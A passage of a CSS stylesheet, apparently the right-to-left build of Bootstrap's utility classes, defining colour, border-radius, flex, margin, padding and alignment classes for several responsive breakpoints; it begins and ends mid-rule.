rgba(var(--bs-black-rgb), var(--bs-text-opacity)) !important; } .text-white { --bs-text-opacity: 1; color: rgba(var(--bs-white-rgb), var(--bs-text-opacity)) !important; } .text-body { --bs-text-opacity: 1; color: rgba(var(--bs-body-color-rgb), var(--bs-text-opacity)) !important; } .text-muted { --bs-text-opacity: 1; color: #6c757d !important; } .text-black-50 { --bs-text-opacity: 1; color: rgba(0, 0, 0, 0.5) !important; } .text-white-50 { --bs-text-opacity: 1; color: rgba(255, 255, 255, 0.5) !important; } .text-reset { --bs-text-opacity: 1; color: inherit !important; } .text-opacity-25 { --bs-text-opacity: 0.25; } .text-opacity-50 { --bs-text-opacity: 0.5; } .text-opacity-75 { --bs-text-opacity: 0.75; } .text-opacity-100 { --bs-text-opacity: 1; } .bg-primary { --bs-bg-opacity: 1; background-color: rgba(var(--bs-primary-rgb), var(--bs-bg-opacity)) !important; } .bg-secondary { --bs-bg-opacity: 1; background-color: rgba(var(--bs-secondary-rgb), var(--bs-bg-opacity)) !important; } .bg-success { --bs-bg-opacity: 1; background-color: rgba(var(--bs-success-rgb), var(--bs-bg-opacity)) !important; } .bg-info { --bs-bg-opacity: 1; background-color: rgba(var(--bs-info-rgb), var(--bs-bg-opacity)) !important; } .bg-warning { --bs-bg-opacity: 1; background-color: rgba(var(--bs-warning-rgb), var(--bs-bg-opacity)) !important; } .bg-danger { --bs-bg-opacity: 1; background-color: rgba(var(--bs-danger-rgb), var(--bs-bg-opacity)) !important; } .bg-light { --bs-bg-opacity: 1; background-color: rgba(var(--bs-light-rgb), var(--bs-bg-opacity)) !important; } .bg-dark { --bs-bg-opacity: 1; background-color: rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important; } .bg-black { --bs-bg-opacity: 1; background-color: rgba(var(--bs-black-rgb), var(--bs-bg-opacity)) !important; } .bg-white { --bs-bg-opacity: 1; background-color: rgba(var(--bs-white-rgb), var(--bs-bg-opacity)) !important; } .bg-body { --bs-bg-opacity: 1; background-color: rgba(var(--bs-body-bg-rgb), var(--bs-bg-opacity)) !important; } .bg-transparent { --bs-bg-opacity: 1; background-color: transparent !important; } .bg-opacity-10 { --bs-bg-opacity: 0.1; } .bg-opacity-25 { --bs-bg-opacity: 0.25; } .bg-opacity-50 { --bs-bg-opacity: 0.5; } .bg-opacity-75 { --bs-bg-opacity: 0.75; } .bg-opacity-100 { --bs-bg-opacity: 1; } .bg-gradient { background-image: var(--bs-gradient) !important; } .user-select-all { -webkit-user-select: all !important; -moz-user-select: all !important; user-select: all !important; } .user-select-auto { -webkit-user-select: auto !important; -moz-user-select: auto !important; user-select: auto !important; } .user-select-none { -webkit-user-select: none !important; -moz-user-select: none !important; user-select: none !important; } .pe-none { pointer-events: none !important; } .pe-auto { pointer-events: auto !important; } .rounded { border-radius: 10px !important; } .rounded-0 { border-radius: 0 !important; } .rounded-1 { border-radius: 8px !important; } .rounded-2 { border-radius: 10px !important; } .rounded-3 { border-radius: 15px !important; } .rounded-circle { border-radius: 50% !important; } .rounded-pill { border-radius: 50rem !important; } .rounded-top { border-top-left-radius: 10px !important; border-top-right-radius: 10px !important; } .rounded-end { border-bottom-left-radius: 10px !important; border-top-left-radius: 10px !important; } .rounded-bottom { border-bottom-right-radius: 10px !important; border-bottom-left-radius: 10px !important; } .rounded-start { border-top-right-radius: 10px !important; border-bottom-right-radius: 10px !important; } .visible { visibility: visible !important; } .invisible { visibility: hidden !important; } @media (min-width: 576px) { .float-sm-start { float: right !important; } .float-sm-end { float: left !important; } .float-sm-none { float: none !important; } .d-sm-inline { display: inline !important; } .d-sm-inline-block { display: inline-block !important; } .d-sm-block { display: block !important; } .d-sm-grid { display: grid !important; } .d-sm-table { display: table !important; } .d-sm-table-row { display: table-row !important; } .d-sm-table-cell { display: table-cell !important; } .d-sm-flex { display: flex !important; } .d-sm-inline-flex { display: inline-flex !important; } .d-sm-none { display: none !important; } .flex-sm-fill { flex: 1 1 auto !important; } .flex-sm-row { flex-direction: row !important; } .flex-sm-column { flex-direction: column !important; } .flex-sm-row-reverse { flex-direction: row-reverse !important; } .flex-sm-column-reverse { flex-direction: column-reverse !important; } .flex-sm-grow-0 { flex-grow: 0 !important; } .flex-sm-grow-1 { flex-grow: 1 !important; } .flex-sm-shrink-0 { flex-shrink: 0 !important; } .flex-sm-shrink-1 { flex-shrink: 1 !important; } .flex-sm-wrap { flex-wrap: wrap !important; } .flex-sm-nowrap { flex-wrap: nowrap !important; } .flex-sm-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-sm-start { justify-content: flex-end !important; } .justify-content-sm-end { justify-content: flex-start !important; } .justify-content-sm-center { justify-content: center !important; } .justify-content-sm-between { justify-content: space-between !important; } .justify-content-sm-around { justify-content: space-around !important; } .justify-content-sm-evenly { justify-content: space-evenly !important; } .align-items-sm-start { align-items: flex-start !important; } .align-items-sm-end { align-items: flex-end !important; } .align-items-sm-center { align-items: center !important; } .align-items-sm-baseline { align-items: baseline !important; } .align-items-sm-stretch { align-items: stretch !important; } .align-content-sm-start { align-content: flex-end !important; } .align-content-sm-end { align-content: flex-start !important; } .align-content-sm-center { align-content: center !important; } .align-content-sm-between { align-content: space-between !important; } .align-content-sm-around { align-content: space-around !important; } .align-content-sm-stretch { align-content: stretch !important; } .align-self-sm-auto { align-self: auto !important; } .align-self-sm-start { align-self: flex-end !important; } .align-self-sm-end { align-self: flex-start !important; } .align-self-sm-center { align-self: center !important; } .align-self-sm-baseline { align-self: baseline !important; } .align-self-sm-stretch { align-self: stretch !important; } .order-sm-first { order: -1 !important; } .order-sm-0 { order: 0 !important; } .order-sm-1 { order: 1 !important; } .order-sm-2 { order: 2 !important; } .order-sm-3 { order: 3 !important; } .order-sm-4 { order: 4 !important; } .order-sm-5 { order: 5 !important; } .order-sm-last { order: 6 !important; } .m-sm-0 { margin: 0 !important; } .m-sm-1 { margin: 0.25rem !important; } .m-sm-2 { margin: 0.5rem !important; } .m-sm-3 { margin: 1rem !important; } .m-sm-4 { margin: 1.5rem !important; } .m-sm-5 { margin: 3rem !important; } .m-sm-auto { margin: auto !important; } .mx-sm-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-sm-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-sm-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-sm-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-sm-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-sm-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-sm-auto { margin-right: auto !important; margin-left: auto !important; } .my-sm-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-sm-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-sm-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-sm-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-sm-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-sm-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-sm-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-sm-0 { margin-top: 0 !important; } .mt-sm-1 { margin-top: 0.25rem !important; } .mt-sm-2 { margin-top: 0.5rem !important; } .mt-sm-3 { margin-top: 1rem !important; } .mt-sm-4 { margin-top: 1.5rem !important; } .mt-sm-5 { margin-top: 3rem !important; } .mt-sm-auto { margin-top: auto !important; } .me-sm-0 { margin-left: 0 !important; } .me-sm-1 { margin-left: 0.25rem !important; } .me-sm-2 { margin-left: 0.5rem !important; } .me-sm-3 { margin-left: 1rem !important; } .me-sm-4 { margin-left: 1.5rem !important; } .me-sm-5 { margin-left: 3rem !important; } .me-sm-auto { margin-left: auto !important; } .mb-sm-0 { margin-bottom: 0 !important; } .mb-sm-1 { margin-bottom: 0.25rem !important; } .mb-sm-2 { margin-bottom: 0.5rem !important; } .mb-sm-3 { margin-bottom: 1rem !important; } .mb-sm-4 { margin-bottom: 1.5rem !important; } .mb-sm-5 { margin-bottom: 3rem !important; } .mb-sm-auto { margin-bottom: auto !important; } .ms-sm-0 { margin-right: 0 !important; } .ms-sm-1 { margin-right: 0.25rem !important; } .ms-sm-2 { margin-right: 0.5rem !important; } .ms-sm-3 { margin-right: 1rem !important; } .ms-sm-4 { margin-right: 1.5rem !important; } .ms-sm-5 { margin-right: 3rem !important; } .ms-sm-auto { margin-right: auto !important; } .m-sm-n1 { margin: -0.25rem !important; } .m-sm-n2 { margin: -0.5rem !important; } .m-sm-n3 { margin: -1rem !important; } .m-sm-n4 { margin: -1.5rem !important; } .m-sm-n5 { margin: -3rem !important; } .mx-sm-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-sm-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-sm-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-sm-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-sm-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-sm-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-sm-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-sm-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-sm-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-sm-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-sm-n1 { margin-top: -0.25rem !important; } .mt-sm-n2 { margin-top: -0.5rem !important; } .mt-sm-n3 { margin-top: -1rem !important; } .mt-sm-n4 { margin-top: -1.5rem !important; } .mt-sm-n5 { margin-top: -3rem !important; } .me-sm-n1 { margin-left: -0.25rem !important; } .me-sm-n2 { margin-left: -0.5rem !important; } .me-sm-n3 { margin-left: -1rem !important; } .me-sm-n4 { margin-left: -1.5rem !important; } .me-sm-n5 { margin-left: -3rem !important; } .mb-sm-n1 { margin-bottom: -0.25rem !important; } .mb-sm-n2 { margin-bottom: -0.5rem !important; } .mb-sm-n3 { margin-bottom: -1rem !important; } .mb-sm-n4 { margin-bottom: -1.5rem !important; } .mb-sm-n5 { margin-bottom: -3rem !important; } .ms-sm-n1 { margin-right: -0.25rem !important; } .ms-sm-n2 { margin-right: -0.5rem !important; } .ms-sm-n3 { margin-right: -1rem !important; } .ms-sm-n4 { margin-right: -1.5rem !important; } .ms-sm-n5 { margin-right: -3rem !important; } .p-sm-0 { padding: 0 !important; } .p-sm-1 { padding: 0.25rem !important; } .p-sm-2 { padding: 0.5rem !important; } .p-sm-3 { padding: 1rem !important; } .p-sm-4 { padding: 1.5rem !important; } .p-sm-5 { padding: 3rem !important; } .px-sm-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-sm-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-sm-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-sm-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-sm-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-sm-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-sm-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-sm-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-sm-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-sm-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-sm-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-sm-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-sm-0 { padding-top: 0 !important; } .pt-sm-1 { padding-top: 0.25rem !important; } .pt-sm-2 { padding-top: 0.5rem !important; } .pt-sm-3 { padding-top: 1rem !important; } .pt-sm-4 { padding-top: 1.5rem !important; } .pt-sm-5 { padding-top: 3rem !important; } .pe-sm-0 { padding-left: 0 !important; } .pe-sm-1 { padding-left: 0.25rem !important; } .pe-sm-2 { padding-left: 0.5rem !important; } .pe-sm-3 { padding-left: 1rem !important; } .pe-sm-4 { padding-left: 1.5rem !important; } .pe-sm-5 { padding-left: 3rem !important; } .pb-sm-0 { padding-bottom: 0 !important; } .pb-sm-1 { padding-bottom: 0.25rem !important; } .pb-sm-2 { padding-bottom: 0.5rem !important; } .pb-sm-3 { padding-bottom: 1rem !important; } .pb-sm-4 { padding-bottom: 1.5rem !important; } .pb-sm-5 { padding-bottom: 3rem !important; } .ps-sm-0 { padding-right: 0 !important; } .ps-sm-1 { padding-right: 0.25rem !important; } .ps-sm-2 { padding-right: 0.5rem !important; } .ps-sm-3 { padding-right: 1rem !important; } .ps-sm-4 { padding-right: 1.5rem !important; } .ps-sm-5 { padding-right: 3rem !important; } .gap-sm-0 { gap: 0 !important; } .gap-sm-1 { gap: 0.25rem !important; } .gap-sm-2 { gap: 0.5rem !important; } .gap-sm-3 { gap: 1rem !important; } .gap-sm-4 { gap: 1.5rem !important; } .gap-sm-5 { gap: 3rem !important; } .text-sm-start { text-align: right !important; } .text-sm-end { text-align: left !important; } .text-sm-center { text-align: center !important; } } @media (min-width: 768px) { .float-md-start { float: right !important; } .float-md-end { float: left !important; } .float-md-none { float: none !important; } .d-md-inline { display: inline !important; } .d-md-inline-block { display: inline-block !important; } .d-md-block { display: block !important; } .d-md-grid { display: grid !important; } .d-md-table { display: table !important; } .d-md-table-row { display: table-row !important; } .d-md-table-cell { display: table-cell !important; } .d-md-flex { display: flex !important; } .d-md-inline-flex { display: inline-flex !important; } .d-md-none { display: none !important; } .flex-md-fill { flex: 1 1 auto !important; } .flex-md-row { flex-direction: row !important; } .flex-md-column { flex-direction: column !important; } .flex-md-row-reverse { flex-direction: row-reverse !important; } .flex-md-column-reverse { flex-direction: column-reverse !important; } .flex-md-grow-0 { flex-grow: 0 !important; } .flex-md-grow-1 { flex-grow: 1 !important; } .flex-md-shrink-0 { flex-shrink: 0 !important; } .flex-md-shrink-1 { flex-shrink: 1 !important; } .flex-md-wrap { flex-wrap: wrap !important; } .flex-md-nowrap { flex-wrap: nowrap !important; } .flex-md-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-md-start { justify-content: flex-end !important; } .justify-content-md-end { justify-content: flex-start !important; } .justify-content-md-center { justify-content: center !important; } .justify-content-md-between { justify-content: space-between !important; } .justify-content-md-around { justify-content: space-around !important; } .justify-content-md-evenly { justify-content: space-evenly !important; } .align-items-md-start { align-items: flex-start !important; } .align-items-md-end { align-items: flex-end !important; } .align-items-md-center { align-items: center !important; } .align-items-md-baseline { align-items: baseline !important; } .align-items-md-stretch { align-items: stretch !important; } .align-content-md-start { align-content: flex-end !important; } .align-content-md-end { align-content: flex-start !important; } .align-content-md-center { align-content: center !important; } .align-content-md-between { align-content: space-between !important; } .align-content-md-around { align-content: space-around !important; } .align-content-md-stretch { align-content: stretch !important; } .align-self-md-auto { align-self: auto !important; } .align-self-md-start { align-self: flex-end !important; } .align-self-md-end { align-self: flex-start !important; } .align-self-md-center { align-self: center !important; } .align-self-md-baseline { align-self: baseline !important; } .align-self-md-stretch { align-self: stretch !important; } .order-md-first { order: -1 !important; } .order-md-0 { order: 0 !important; } .order-md-1 { order: 1 !important; } .order-md-2 { order: 2 !important; } .order-md-3 { order: 3 !important; } .order-md-4 { order: 4 !important; } .order-md-5 { order: 5 !important; } .order-md-last { order: 6 !important; } .m-md-0 { margin: 0 !important; } .m-md-1 { margin: 0.25rem !important; } .m-md-2 { margin: 0.5rem !important; } .m-md-3 { margin: 1rem !important; } .m-md-4 { margin: 1.5rem !important; } .m-md-5 { margin: 3rem !important; } .m-md-auto { margin: auto !important; } .mx-md-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-md-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-md-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-md-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-md-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-md-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-md-auto { margin-right: auto !important; margin-left: auto !important; } .my-md-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-md-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-md-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-md-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-md-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-md-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-md-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-md-0 { margin-top: 0 !important; } .mt-md-1 { margin-top: 0.25rem !important; } .mt-md-2 { margin-top: 0.5rem !important; } .mt-md-3 { margin-top: 1rem !important; } .mt-md-4 { margin-top: 1.5rem !important; } .mt-md-5 { margin-top: 3rem !important; } .mt-md-auto { margin-top: auto !important; } .me-md-0 { margin-left: 0 !important; } .me-md-1 { margin-left: 0.25rem !important; } .me-md-2 { margin-left: 0.5rem !important; } .me-md-3 { margin-left: 1rem !important; } .me-md-4 { margin-left: 1.5rem !important; } .me-md-5 { margin-left: 3rem !important; } .me-md-auto { margin-left: auto !important; } .mb-md-0 { margin-bottom: 0 !important; } .mb-md-1 { margin-bottom: 0.25rem !important; } .mb-md-2 { margin-bottom: 0.5rem !important; } .mb-md-3 { margin-bottom: 1rem !important; } .mb-md-4 { margin-bottom: 1.5rem !important; } .mb-md-5 { margin-bottom: 3rem !important; } .mb-md-auto { margin-bottom: auto !important; } .ms-md-0 { margin-right: 0 !important; } .ms-md-1 { margin-right: 0.25rem !important; } .ms-md-2 { margin-right: 0.5rem !important; } .ms-md-3 { margin-right: 1rem !important; } .ms-md-4 { margin-right: 1.5rem !important; } .ms-md-5 { margin-right: 3rem !important; } .ms-md-auto { margin-right: auto !important; } .m-md-n1 { margin: -0.25rem !important; } .m-md-n2 { margin: -0.5rem !important; } .m-md-n3 { margin: -1rem !important; } .m-md-n4 { margin: -1.5rem !important; } .m-md-n5 { margin: -3rem !important; } .mx-md-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-md-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-md-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-md-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-md-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-md-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-md-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-md-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-md-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-md-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-md-n1 { margin-top: -0.25rem !important; } .mt-md-n2 { margin-top: -0.5rem !important; } .mt-md-n3 { margin-top: -1rem !important; } .mt-md-n4 { margin-top: -1.5rem !important; } .mt-md-n5 { margin-top: -3rem !important; } .me-md-n1 { margin-left: -0.25rem !important; } .me-md-n2 { margin-left: -0.5rem !important; } .me-md-n3 { margin-left: -1rem !important; } .me-md-n4 { margin-left: -1.5rem !important; } .me-md-n5 { margin-left: -3rem !important; } .mb-md-n1 { margin-bottom: -0.25rem !important; } .mb-md-n2 { margin-bottom: -0.5rem !important; } .mb-md-n3 { margin-bottom: -1rem !important; } .mb-md-n4 { margin-bottom: -1.5rem !important; } .mb-md-n5 { margin-bottom: -3rem !important; } .ms-md-n1 { margin-right: -0.25rem !important; } .ms-md-n2 { margin-right: -0.5rem !important; } .ms-md-n3 { margin-right: -1rem !important; } .ms-md-n4 { margin-right: -1.5rem !important; } .ms-md-n5 { margin-right: -3rem !important; } .p-md-0 { padding: 0 !important; } .p-md-1 { padding: 0.25rem !important; } .p-md-2 { padding: 0.5rem !important; } .p-md-3 { padding: 1rem !important; } .p-md-4 { padding: 1.5rem !important; } .p-md-5 { padding: 3rem !important; } .px-md-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-md-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-md-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-md-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-md-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-md-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-md-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-md-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-md-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-md-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-md-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-md-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-md-0 { padding-top: 0 !important; } .pt-md-1 { padding-top: 0.25rem !important; } .pt-md-2 { padding-top: 0.5rem !important; } .pt-md-3 { padding-top: 1rem !important; } .pt-md-4 { padding-top: 1.5rem !important; } .pt-md-5 { padding-top: 3rem !important; } .pe-md-0 { padding-left: 0 !important; } .pe-md-1 { padding-left: 0.25rem !important; } .pe-md-2 { padding-left: 0.5rem !important; } .pe-md-3 { padding-left: 1rem !important; } .pe-md-4 { padding-left: 1.5rem !important; } .pe-md-5 { padding-left: 3rem !important; } .pb-md-0 { padding-bottom: 0 !important; } .pb-md-1 { padding-bottom: 0.25rem !important; } .pb-md-2 { padding-bottom: 0.5rem !important; } .pb-md-3 { padding-bottom: 1rem !important; } .pb-md-4 { padding-bottom: 1.5rem !important; } .pb-md-5 { padding-bottom: 3rem !important; } .ps-md-0 { padding-right: 0 !important; } .ps-md-1 { padding-right: 0.25rem !important; } .ps-md-2 { padding-right: 0.5rem !important; } .ps-md-3 { padding-right: 1rem !important; } .ps-md-4 { padding-right: 1.5rem !important; } .ps-md-5 { padding-right: 3rem !important; } .gap-md-0 { gap: 0 !important; } .gap-md-1 { gap: 0.25rem !important; } .gap-md-2 { gap: 0.5rem !important; } .gap-md-3 { gap: 1rem !important; } .gap-md-4 { gap: 1.5rem !important; } .gap-md-5 { gap: 3rem !important; } .text-md-start { text-align: right !important; } .text-md-end { text-align: left !important; } .text-md-center { text-align: center !important; } } @media (min-width: 992px) { .float-lg-start { float: right !important; } .float-lg-end { float: left !important; } .float-lg-none { float: none !important; } .d-lg-inline { display: inline !important; } .d-lg-inline-block { display: inline-block !important; } .d-lg-block { display: block !important; } .d-lg-grid { display: grid !important; } .d-lg-table { display: table !important; } .d-lg-table-row { display: table-row !important; } .d-lg-table-cell { display: table-cell !important; } .d-lg-flex { display: flex !important; } .d-lg-inline-flex { display: inline-flex !important; } .d-lg-none { display: none !important; } .flex-lg-fill { flex: 1 1 auto !important; } .flex-lg-row { flex-direction: row !important; } .flex-lg-column { flex-direction: column !important; } .flex-lg-row-reverse { flex-direction: row-reverse !important; } .flex-lg-column-reverse { flex-direction: column-reverse !important; } .flex-lg-grow-0 { flex-grow: 0 !important; } .flex-lg-grow-1 { flex-grow: 1 !important; } .flex-lg-shrink-0 { flex-shrink: 0 !important; } .flex-lg-shrink-1 { flex-shrink: 1 !important; } .flex-lg-wrap { flex-wrap: wrap !important; } .flex-lg-nowrap { flex-wrap: nowrap !important; } .flex-lg-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-lg-start { justify-content: flex-end !important; } .justify-content-lg-end { justify-content: flex-start !important; } .justify-content-lg-center { justify-content: center !important; } .justify-content-lg-between { justify-content: space-between !important; } .justify-content-lg-around { justify-content: space-around !important; } .justify-content-lg-evenly { justify-content: space-evenly !important; } .align-items-lg-start { align-items: flex-start !important; } .align-items-lg-end { align-items: flex-end !important; } .align-items-lg-center { align-items: center !important; } .align-items-lg-baseline { align-items: baseline !important; } .align-items-lg-stretch { align-items: stretch !important; } .align-content-lg-start { align-content: flex-end !important; } .align-content-lg-end { align-content: flex-start !important; } .align-content-lg-center { align-content: center !important; } .align-content-lg-between { align-content: space-between !important; } .align-content-lg-around { align-content: space-around !important; } .align-content-lg-stretch { align-content: stretch !important; } .align-self-lg-auto { align-self: auto !important; } .align-self-lg-start { align-self: flex-end !important; } .align-self-lg-end { align-self: flex-start !important; } .align-self-lg-center { align-self: center !important; } .align-self-lg-baseline { align-self: baseline !important; } .align-self-lg-stretch { align-self: stretch !important; } .order-lg-first { order: -1 !important; } .order-lg-0 { order: 0 !important; } .order-lg-1 { order: 1 !important; } .order-lg-2 { order: 2 !important; } .order-lg-3 { order: 3 !important; } .order-lg-4 { order: 4 !important; } .order-lg-5 { order: 5 !important; } .order-lg-last { order: 6 !important; } .m-lg-0 { margin: 0 !important; } .m-lg-1 { margin: 0.25rem !important; } .m-lg-2 { margin: 0.5rem !important; } .m-lg-3 { margin: 1rem !important; } .m-lg-4 { margin: 1.5rem !important; } .m-lg-5 { margin: 3rem !important; } .m-lg-auto { margin: auto !important; } .mx-lg-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-lg-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-lg-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-lg-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-lg-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-lg-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-lg-auto { margin-right: auto !important; margin-left: auto !important; } .my-lg-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-lg-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-lg-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-lg-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-lg-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-lg-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-lg-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-lg-0 { margin-top: 0 !important; } .mt-lg-1 { margin-top: 0.25rem !important; } .mt-lg-2 { margin-top: 0.5rem !important; } .mt-lg-3 { margin-top: 1rem !important; } .mt-lg-4 { margin-top: 1.5rem !important; } .mt-lg-5 { margin-top: 3rem !important; } .mt-lg-auto { margin-top: auto !important; } .me-lg-0 { margin-left: 0 !important; } .me-lg-1 { margin-left: 0.25rem !important; } .me-lg-2 { margin-left: 0.5rem !important; } .me-lg-3 { margin-left: 1rem !important; } .me-lg-4 { margin-left: 1.5rem !important; } .me-lg-5 { margin-left: 3rem !important; } .me-lg-auto { margin-left: auto !important; } .mb-lg-0 { margin-bottom: 0 !important; } .mb-lg-1 { margin-bottom: 0.25rem !important; } .mb-lg-2 { margin-bottom: 0.5rem !important; } .mb-lg-3 { margin-bottom: 1rem !important; } .mb-lg-4 { margin-bottom: 1.5rem !important; } .mb-lg-5 { margin-bottom: 3rem !important; } .mb-lg-auto { margin-bottom: auto !important; } .ms-lg-0 { margin-right: 0 !important; } .ms-lg-1 { margin-right: 0.25rem !important; } .ms-lg-2 { margin-right: 0.5rem !important; } .ms-lg-3 { margin-right: 1rem !important; } .ms-lg-4 { margin-right: 1.5rem !important; } .ms-lg-5 { margin-right: 3rem !important; } .ms-lg-auto { margin-right: auto !important; } .m-lg-n1 { margin: -0.25rem !important; } .m-lg-n2 { margin: -0.5rem !important; } .m-lg-n3 { margin: -1rem !important; } .m-lg-n4 { margin: -1.5rem !important; } .m-lg-n5 { margin: -3rem !important; } .mx-lg-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-lg-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-lg-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-lg-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-lg-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-lg-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-lg-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-lg-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-lg-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-lg-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-lg-n1 { margin-top: -0.25rem !important; } .mt-lg-n2 { margin-top: -0.5rem !important; } .mt-lg-n3 { margin-top: -1rem !important; } .mt-lg-n4 { margin-top: -1.5rem !important; } .mt-lg-n5 { margin-top: -3rem !important; } .me-lg-n1 { margin-left: -0.25rem !important; } .me-lg-n2 { margin-left: -0.5rem !important; } .me-lg-n3 { margin-left: -1rem !important; } .me-lg-n4 { margin-left: -1.5rem !important; } .me-lg-n5 { margin-left: -3rem !important; } .mb-lg-n1 { margin-bottom: -0.25rem !important; } .mb-lg-n2 { margin-bottom: -0.5rem !important; } .mb-lg-n3 { margin-bottom: -1rem !important; } .mb-lg-n4 { margin-bottom: -1.5rem !important; } .mb-lg-n5 { margin-bottom: -3rem !important; } .ms-lg-n1 { margin-right: -0.25rem !important; } .ms-lg-n2 { margin-right: -0.5rem !important; } .ms-lg-n3 { margin-right: -1rem !important; } .ms-lg-n4 { margin-right: -1.5rem !important; } .ms-lg-n5 { margin-right: -3rem !important; } .p-lg-0 { padding: 0 !important; } .p-lg-1 { padding: 0.25rem !important; } .p-lg-2 { padding: 0.5rem !important; } .p-lg-3 { padding: 1rem !important; } .p-lg-4 { padding: 1.5rem !important; } .p-lg-5 { padding: 3rem !important; } .px-lg-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-lg-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-lg-2 { padding-right: 0.5rem !important; 